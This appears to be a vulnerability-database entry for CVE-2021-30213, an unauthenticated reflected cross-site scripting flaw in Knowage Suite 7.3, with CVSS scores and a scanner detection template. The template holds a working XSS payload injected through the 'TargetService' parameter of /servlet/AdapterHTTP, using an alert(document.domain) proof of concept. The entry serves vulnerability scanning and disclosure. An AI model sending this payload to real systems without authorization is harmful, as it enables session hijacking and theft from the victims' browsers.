CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%
Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in ‘/servlet/AdapterHTTP’ via the ‘targetService’ parameter.
id: CVE-2021-30213
info:
name: Knowage Suite 7.3 - Cross-Site Scripting
author: alph4byt3
severity: medium
description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
reference:
- https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-30213
- https://github.com/piuppi/Proof-of-Concepts
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-30213
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43249
cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: eng
product: knowage
tags: cve2021,cve,xss,knowage,eng
http:
- method: GET
path:
- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100b78beb00cb5e1cb54a9e2d93c1d9985befc910a93a89ed8e983d69e5cf3c2e5f02207b0787b48190812075455ab8195ffde78e40bdf8cc8c009ee355a2b79e8f6088:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%